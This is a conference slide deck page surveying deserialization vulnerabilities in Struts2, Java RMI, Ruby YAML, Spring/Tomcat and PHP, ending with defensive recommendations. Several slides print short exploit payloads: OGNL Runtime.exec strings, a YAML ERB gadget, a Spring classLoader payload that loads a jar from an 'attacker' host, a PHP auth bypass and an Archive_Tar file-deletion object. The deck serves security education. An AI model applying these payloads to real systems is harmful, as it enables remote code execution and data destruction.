Serial Killers - or Deserialization for fun and profit


Published on

Overview of different published de-serialization flaws in multiple different frameworks; Java, RMI, Struts, Spring, Ruby, PHP etc. Presented at Opkoko 2013.1.

Published in: Technology, Education
  • Be the first to comment

  • Be the first to like this

No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide
  • Who am IWhat is serializationSurvey/overview of published serialization exploits from many different frameworks, langs, technologies.Key points: common challenges, not researched enough, affects framework devs & app devs
  • Serilaizing: The art of putting data (objects etc) into a well specified format for transmission, temporary storage, or persistenceDeserializing: reading data from a well specified formatIn order to recreate a data (objects etc) into our application's memory
  • This is how C code used to look (not really, but readable to Java devs^_^ )Verbose, but it does what it is supposed to doRarely seen in modern framework driven source code
  • Framework driven serializationNo or very little code to tell framework what to doLess control
  • Could things go wrong?
  • This vulnerability is written into the design of java RMI / corba / EE technologies.Defaults are about to change to secure. Look into how to secure RMI =)You better firewall away java servers, don't allow connections to ports other than 80/443, most java servers are probably NOT secured..
  • Basically same as the Java Struts OGNL bug etc, iremote code execution is built in. Luckily, this is a feature not much utilized, so it could be removed.
  • Java bean API used read/write properties specified in the URL
  • This is really a nifty way of blacklisting Object.class with minimal coding changes. Java API docs, tutorials etc doesn't cover classLoader injection problems.Suggestion to specify a stop class seems to be largely ignored when looking through github search results 2013.In a real world JavaEE or spring project in a large enterprise, beans are often polluted with code added for god knows what purpose. In large projects, there is likely more properties than class which could be dangerous!
  • Due to PHP == behavior, this code will return true if a serialized string is modified into a true boolean.
  • Any serializartion may introduce a polluted Archive_Tar. __destruct will run upon garbage collect. Problem is far far away from the vulnerability.I find this interesting.There's no reason why the Archive_Tar shouldn't be allowed to do temp files.There's no reason why the Arrchive_Tar should expect polluted objectsEXCEPT if any other code introduce serialization, this code becomes a huge flaw.
  • Code should be specifically tailored for dealing with deserialization of external, potentially malicious, data.It goes against any sane reasoning that executing external data is the proper way to implement deserialization.Struts2/OGNL and Ruby/YAML cannot be considered sane solutions.
  • IMHO we should switch from blacklist approach to whitelist approachHave developers actually specify "this is a setting we WANT to accept for deserialization"From my dev experience, devs DO NOT use "public" as a way to indicate "this is safe for remote modification". Devs use public/protected/private for various purposes and often change them if it solves an immediate problem. I'm not sure if things are done better in the open source world, but in companies public/protected/private is not used by app devs as framework devs seem to believe.Never forget: Java Object.class and class.classLoader are excellent example of framework assumption "public == safe" being wrong.
  • App devs need to look into how serialization classes are composed.They must be sane, safe beans.Don't clutter with code other than properties.Don't clutter with properties which might be dangerous.Any "dangerous" code should be moved to other less exposed classes.
  • If the serialized data wasn't signed by me, I don't want to deserialize itThis pattern only works for a few use cases.But it is frigging awesome way to handle those cases.
  • Key take awaysCommon & shared problemAct preemptively, don't wait until external security researchers or blackhats look at your codeIt is not okay that the same thing is rediscovered again and again in different frameworks etc. Framework devs should look at how other frameworks have failed and try not to repeat others mistakes.It is not okay that pretty clear 2010 advice from MEDER KYDYRALIEV is still largely ignored.Look at do's and don'ts.
  • Serial Killers - or Deserialization for fun and profit

    1. 1. Peter Magnusson Twitter: @blaufish_ Serial Killers or Deserializing for fun and profit Unserialize this! Okay! bomb!
    2. 2. Intro Broken? Dirty? Native? FINImprove
    3. 3. ID: 123 TYPE: 3 ID: 123 TYPE: 3 ID: 123 TYPE: 3 unserializeserialize
    4. 4. Ubiquitous Binary Web Forms File Storage XML JSON GWT Machine <-> Machine Man <-> Machine Machine <-> temp <-> Machine RPC View State Event Validation Form Auth Cookie JSON
    5. 5. The Old Way tempBytes1 = read(stream, 2); = convertNetworkBytesToInt(tempBytes1); tempBytes2 = read(stream, 2); data.type = convertNetworkBytesToInt(tempBytes2);
    6. 6. The New Way data = unserialize( stream ) MAGIC GLUE!
    7. 7. Unserialize this! Okay! bomb!
    8. 8. Intro Broken? Dirty? Native? FINImprove
    9. 9. What if magic glue … …is terribly broken?
    10. 10. Java Struts2/XWork
    11. 11. username=foo&password=bar
    12. 12. /struts2-blank- xwork2.util.ValueStack.setValue( expr, value ) new Login() login.setUsername("foo") username=foo&password=bar login.setPassword("bar") OgnlUtil.setValue(expr, …); Ognl.setValue(compile(name), …);
    13. 13. VULNERABILITY: Executes any OGNL language commands (i.e. any java) with insufficient filtering EXPLOIT: #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('mkdir /tmp/PWNED') - Johannes Dahse, Andreas Nusser, 2011 - Meder Kydyraliev, 2010
    14. 14.'u0023_ memberAccess['allowStaticMethodAccess']') (meh)=true&(aaa)(('u0023context['xwork.M ethodAccessor.denyMethodExecution']u003 du0023foo')( ng.Boolean(%22false%22)))&(asdf)(('u0023rt. exit(1)')(u0023rtu003d@java.lang.Runtime @getRuntime()))=1
    15. 15. protected boolean acceptableName(String name) { if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1 || name.indexOf(':') != -1 || name.indexOf("u0023") != -1) { return false; 2006 private String acceptedParamNames = "[[p{Graph}s]&&[^,#:=]]*"; 2010 private String acceptedParamNames = "[a-zA-Z0-9.][_'s]+"; fix public static final String ACCEPTED_PARAM_NAMES = "w+((.w+)|([d+])|((d+))|(['w+'])|(('w+')))*"; protected static final int PARAM_NAME_MAX_LENGTH = 100; later This code has ALWAYS been DANGEROUS, protected by input validation only. Somewhere between 2006 and 2010 the u0023 version of # got lost.
    16. 16. Revision 956389 - (view) (download) (annotate) - [select for diffs] Modified Sun Jun 20 19:20:11 2010 UTC (2 years, 9 months ago) Resolved critical Xwork vulnerability Revision 956397 - (view) (download) (annotate) - [select for diffs] Modified Sun Jun 20 19:48:18 2010 UTC (2 years, 9 months ago) Slight update to accepted parameters name pattern to accept also ( and ) Revision 1129979 - (view) (download) (annotate) - [select for diffs] Modified Wed Jun 1 00:30:25 2011 UTC (22 months, 1 week ago) XW-386 allow x['y'] as well as x.y Revision 1234212 - (view) (download) (annotate) - [select for diffs] Modified Sat Jan 21 00:04:43 2012 UTC (14 months, 2 weeks ago) Security issue fixed (see [1] for further details) [1] Revision 1368841 - (view) (download) (annotate) - [select for diffs] Modified Fri Aug 3 09:16:47 2012 UTC (8 months, 1 week ago) WW-3860 Restrict accepted parameter name length Thanks to Johno Crawford for the patch. 1. Regexp 2. Extensible 3. Purpose & proper use not well defined Not an easy fix!
    17. 17. Java / RMI
    18. 18. VULNERABILITY: The class annotation is resolved during deserialization using the ObjectInputStream.resolveClass method. The resolveClass reads from ObjectInputStream.readObject. If the annotation, a codebase URL, is non-null, then it obtains the classloader for that URL and attempts to load the class. EXPLOIT: P?? w" ??????Cur [Ljava.rmi.server.ObjID;? ??,d~ pxp sr metasploit.RMILoader?eD?&??? t file:./rmidummy.jarxpw
    19. 19. Ruby
    20. 20. VULNERABILITY: XML_FORMATTING = { … "yaml" => { |yaml| yaml.to_yaml } … when "yaml" then YAML::load(content) rescue content EXPLOIT: <fail type="yaml"> --- !ruby/object:ERB template: src: !binary |- #{Base64.encode64(code)} </fail> vulnerability-explained/
    21. 21. Intro Broken? Dirty? Native? FINImprove
    22. 22. What if magic glue … …introduce dirty objects?
    23. 23. Java Spring/Tomcat/Jasper
    24. 24. java.beans.PropertyDescriptor getWriteMethod("username") ?username=foo invoke("foo")
    25. 25. VULNERABILITY: Spring unserialize using Java Bean API. Spring allows poisoning Object.classLoader property. Jasper will heed Object.classLoader upon loading tag files. EXPLOIT: class.classLoader.URLs[0]=jar:http://attacker/spring- exploit.jar!/ /META-INF/tags/InputTag.tag: <%@ tag dynamic-attributes="dynattrs" %> <% java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); %> - Meder Kydyraliev
    26. 26. java.beans ?class.classLoader.urls[0]=jar:http://attacker/exploit.jar!/ Object.getClass() Class.getClassLoader() org.apache.catalina.loader. WebappClassLoader.getUrls() Array.set(array, 0, new URL("jar:http://attacker/exploit.jar!/") ) Object.getClass.getClassLoader().load() exploit.jar
    27. 27. "Specify the stop class: BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)" "There's a lot more code out there that doesn't specify stop class, some of it has to have security implications." MEDER KYDYRALIEV. SUNDAY, JUNE 20, 2010 2013?
    28. 28. PHP
    29. 29. From SektionEins, Stefan Esser VULNERABILITY: $data = unserialize($autologin); if ($data['username'] == $adminName && $data['password'] == $adminPassword) { EXPLOIT: a:2:{s:8:"username";b:1;s:8:"password";b:1;}
    30. 30. VULNERABILITY function __destruct() { if ($this->_temp_tarname != '') { @drupal_unlink($this->_temp_tarname); EXPLOIT: O:11:"Archive_Tar":6:{s:8:"_tarname";N;s:9:"_compress";b:0;s: 14:"_compress_type";s:4:"none";s:10:"_separator";s:1:" ";s:5:"_file";i:0;s:13:"_temp_tarname";s:0:"";} (change _temp_tarname string to whatever file to delete)
    31. 31. Intro Broken? Dirty? Native? FINImprove
    32. 32. What if magic glue … …expose native code?
    33. 33. Java/Hessian
    34. 34. EXPOSES NATIVE ZLIB: public Hessian2Input unwrapHeaders(Hessian2Input in) throws IOException { InputStream is = new DeflateInputStream(in); OLD ZLIB VULNERNABILITIES: zlib inflate() routine vulnerable to buffer overflow The zlib compression library is vulnerable to a denial-of-service condition
    35. 35. Intro Broken? Dirty? Native? FINImprove
    36. 36. Frameworks MUST NOT: have a f**ing Turing-complete “do anything” execution engine for serialization
    37. 37. Frameworks SHOULD: Implement a WHITE LIST approach rather than allow anything. (public != safe) @WebSerializable class PayFormController { @WebSerializable public void setAccount(String account);
    38. 38. Developers SHOULD: Only use safe classes for unserializing. Don’t have potentially dangerous code in classes you intend to unserialize setAccount setAmount setClassLoader setTempFile setDate destroyMankind
    39. 39. Frameworks & Developers SHOULD: (where applicable) require data authenticity (pattern used in VIEWSTATE, EVENTVALIDATION, & Forms Authentication Cookies) serialized data Auth HMAC( M, server key )M If Auth != HMAC(M, key) abort!
    40. 40. Intro Broken? Dirty? Native? FINImprove
    41. 41. common shared problems Frameworks & devs should act upon it DO NOT execute input DO whitelist approach only safe code in data classes require data authenticity load code from external url